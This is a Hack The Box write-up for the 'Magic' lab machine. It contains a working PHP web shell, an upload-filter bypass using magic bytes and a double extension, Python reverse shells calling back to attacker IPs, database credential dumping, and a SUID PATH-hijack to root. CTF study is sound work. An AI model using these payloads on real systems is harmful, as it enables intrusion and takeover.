HackTheBox - Magic


Introduction

HTB Magic

Magic is a fun box with a good flow. It provides an opportunity to practice web based access control and file upload vulnerabilities, searching for valuable information such as plain text credentials, and path interception.

Foothold

The first scan to run for a new machine is an Nmap scan and adding the hostname to our hosts file. With the port scans I generally start with all ports between 1 and 10000 as this is fast enough and covers most important ports. If I get stuck while gaining a foothold on the target, or if I have no scans running, I also run scans on all TCP ports and/or the first thousand UDP ports.

# Nmap 7.80 scan initiated Mon Jun 15 00:18:38 2020 as: nmap -T4 -p1-10000 -oA nmap-10000 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.16s latency).
Not shown: 9998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon Jun 15 00:20:10 2020 -- 1 IP address (1 host up) scanned in 92.30 seconds
ben@kal:~/hackthebox/magic$ cat /etc/hosts
--snip--
10.10.10.185    magic.htb
--snip--

At a first glance there is not much to be found on the site. There is a login page, and you can see images. By looking at the source code we can also see that images are being uploaded to images/uploads/. I also ran gobuster scans to look for directories and php files that could be of interest.

ben@kal:~/hackthebox/magic$ gobuster dir -u http://magic.htb -w /usr/share/wordlists/dirb/common.txt -x .php -o gobuster-common-php
--snip--
/index.php (Status: 200)
/login.php (Status: 200)
/logout.php (Status: 302)
/server-status (Status: 403)
/upload.php (Status: 302)

Gobuster revealed upload.php with the 302 Found1 status code and redirects the user back to login.php. In such a situation it can happen that the page you were trying to connect to, in this case upload.php, did end up sending interesting information to the user. An easy way to check this is with curl.

ben@kal:~/hackthebox/magic$ curl -v http://magic.htb/upload.php
*   Trying 10.10.10.185:80...
* TCP_NODELAY set
* Connected to magic.htb (10.10.10.185) port 80 (#0)
> GET /upload.php HTTP/1.1
> Host: magic.htb
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
--snip--
        <h1>Welcome Admin!</h1>
        <div class="frame">
            <div class="center">
                <div class="bar"></div>
                <div class="title">Select Image to Upload</div>
                <form action="" method="POST" enctype="multipart/form-data">
                    <div class="dropzone">
                        <div class="content">
                            <img src="https://100dayscss.com/codepen/upload.svg" class="upload">
                            <span class="filename"></span>
                            <input type="file" class="input" name="image">
                        </div>
                    </div>
                    <input class="upload-btn" type="submit" value="Upload Image" name="submit">
                </form>
            </div>
        </div>
--snip--

Awesome, we can “see” the upload page. Next we should try and validate if we can also upload images without authentication.

ben@kal:~/hackthebox/magic/upload$ curl -v -F "submit=1" -F "[email protected];filename=btest.jpg" http://magic.htb/upload.php
*   Trying 10.10.10.185:80...
* TCP_NODELAY set
* Connected to magic.htb (10.10.10.185) port 80 (#0)
> POST /upload.php HTTP/1.1
> Host: magic.htb
--snip--
< Content-Type: text/html; charset=UTF-8
< 
The file btest.jpg has been uploaded.<!DOCTYPE HTML>
<html>

Sweet, no need for authentication, and we can find our uploaded file here: http://magic.htb/images/uploads/btest.jpg. Now we want to figure out if we can upload something malicious that will provide a foothold into the system. This process can take some trial and error depending on what kind of feedback the website provides regarding the file type, size, etc. In this case the website did provide some feedback on what was required.

<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</script>

To start off, I wanted to upload a very simple PHP shell.

<?php echo system($_GET['c'); ?>

However, when you try to upload a .php file, it won’t work. Also, when you try to upload the file with a .jpg extension you get the following message indicating that the script has another check to bypass.

<script>alert('What are you trying to do there?')</script>

What about when we add the JPG magic number2 to the file.

ben@kal:~/hackthebox/magic/upload$ cat <(printf "%b" '\xff\xd8\xff\xe0') bshell.php > bshell2.php

ben@kal:~/hackthebox/magic/upload$ xxd bshell2.php 
00000000: ffd8 ffe0 3c3f 7068 7020 6563 686f 2073  ....<?php echo s
00000010: 7973 7465 6d28 245f 4745 545b 2763 275d  ystem($_GET['c']
00000020: 293b 203f 3e0a                           ); ?>.

Uploading the file with a JPG magic number, basic php shell, and the .jpg extension works, however, it won’t execute any PHP code. Using a double extension - bshell.php.jpg - did end up working because of how the server is (mis)configured. This is not likely to be seen in the wild, but it can happen.

ben@kal:~/hackthebox/magic/upload$ curl -v -F "submit=1" -F "[email protected];filename=bshell2.php.jpg" http://magic.htb/upload.php

view-source:http://magic.htb/images/uploads/bshell2.php.jpg?c=whoami
����www-data
www-data

Using this shell I figured out that Python3 was installed, and subsequently used that information to create a reverse shell3 to gain a foothold.

ben@kal:~/hackthebox/magic/upload$ cat bshell.php.jpg
���� <?php system("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.135\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'"); ?>

User

With a foothold into the system, the first thing we want to do is upgrade the very basic shell to something a little more useful via python. There are methods to provide a better shell experience4, but the following is sufficient for me.

ben@kal:~/hackthebox$ sudo nc -lnvp 443
[sudo] password for ben: 
listening on [any] 443 ...
connect to [10.10.15.135] from (UNKNOWN) [10.10.10.185] 51900
python3 -c 'import pty; pty.spawn("/bin/bash");'
www-data@ubuntu:/var/www/Magic/images/uploads$

With the nicer shell, I took a look at the files on the server because often websites have files with hard-coded credentials - e.g. database connections.

www-data@ubuntu:/var/www/Magic$ ls -al
ls -al
total 52
drwxr-xr-x 4 www-data www-data 4096 Mar 17 09:10 .
drwxr-xr-x 4 root     root     4096 Mar 13 06:07 ..
-rwx---r-x 1 www-data www-data  162 Oct 18  2019 .htaccess
drwxrwxr-x 6 www-data www-data 4096 Jun  6  2019 assets
-rw-r--r-- 1 www-data www-data  881 Oct 16  2019 db.php5
drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 images
-rw-rw-r-- 1 www-data www-data 4528 Oct 22  2019 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22  2019 login.php
-rw-r--r-- 1 www-data www-data   72 Oct 18  2019 logout.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22  2019 upload.php

The db.php5 is one of those files as it has hardcoded plain text credentials.

--snip--
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';
--snip--

Unfortunately, these credentials did not work on the system user called theseus, but the database it connects to might still hold valuable information that we could use. Initially I tried to dump the data by modifying a php file, but that was quite tedious. Luckily, mysqldump was available on the system and could be used to dump the database.

www-data@ubuntu:/tmp/.b$ mysqldump -h localhost -u theseus -p --add-locks -q Magic > dump.sql
Enter password: iamkingtheseus
www-data@ubuntu:/tmp/.b$ cat dump.sql
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
--snip--
--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
--snip--

While the user:password combination admin:Th3s3usW4sK1ng seems to indicate it is not the password for the system user theseus, it is important to always try any user:password combination you have available, as many people are inclined to re-use passwords across accounts - which is the case here.

Using theseus:Th3s3usW4sK1ng we are able to move to that account and grab the user flag.

www-data@ubuntu:/tmp/.b$ su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/tmp/.b$ cat ~/user.txt
f9e902ea7aced3ecb4be1d5a6504e1d0

Root

Privileged access was gained by following basic enumeration practices. I did not document everything I enumerated or looked at, but while looking for files with SUID permissions set, one executable stood out.

theseus@ubuntu:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/passwd
--snip--
/bin/umount
/bin/fusermount
/bin/sysinfo
/bin/mount
--snip--
theseus@ubuntu:/bin$ ls -al sysinfo
-rwsr-x--- 1 root users 22040 Oct 21  2019 sysinfo

The list of files with SUID permissions configured contains an executable that is not standard, specifically /bin/sysinfo. When you run the executable you can see that it returns information that is only accessible by an elevated user - in this case fdisk information. Therefore, this has the potential to be exploited if the executable allows us to manipulate it one way or another.

Luckily, running strings on the executable provided the information needed to exploit it as the results indicated how fdisk was being called.

theseus@ubuntu:/bin$ strings /bin/sysinfo
--snip--
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
--snip--

Because fdisk is called without an absolute path, we should be able to modify our PATH and trick the system into calling our own malicious version. In the following code snippet we will create our own malicious fdisk file, add a Python reverse shell payload, make the file executable, and update our PATH to include the directory where the malicious file is located.

theseus@ubuntu:/bin$ touch /tmp/.b/fdisk

theseus@ubuntu:/bin$ echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.214\",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'" >> /tmp/.b/fdisk

theseus@ubuntu:/bin$ chmod +x /tmp/.b/fdisk

theseus@ubuntu:/bin$ ls -al /tmp/.b/     
total 12
drwxrwxr-x 2 theseus theseus 4096 Jun 15 19:11 .
drwxrwxrwt 3 root    root    4096 Jun 15 19:10 ..
-rwxrwxr-x 1 theseus theseus  227 Jun 15 19:11 fdisk

theseus@ubuntu:/bin$ export PATH=/tmp/.b:$PATH

theseus@ubuntu:/bin$ echo $PATH
/tmp/.b:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Lastly, on the attacking system, we start listening to the specified port and then run /bin/sysinfo on the target system to see if it works.

ben@kal:~/hackthebox/magic/upload$ nc -lnvp 4443
listening on [any] 4443 ...
theseus@ubuntu:/bin$ sysinfo

When /bin/sysinfo runs it will “freeze” when it calls our malicious file, this happens because it establishes the reverse shell. We will then see the reverse shell connect to our system providing root access.

connect to [10.10.15.214] from (UNKNOWN) [10.10.10.185] 57546
id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
cat /root/root.txt
54c7aba1f13f412caa36d1b4addf0b00

Lessons Learned

Hack The Box


  1. HTTP 302 Found ↩︎

  2. JPEG Magic Number ↩︎

  3. Reverse Shell Cheat Sheet ↩︎

  4. Upgrading Simple Shells to Fully Interactive TTYs ↩︎

  5. ImageTragick ↩︎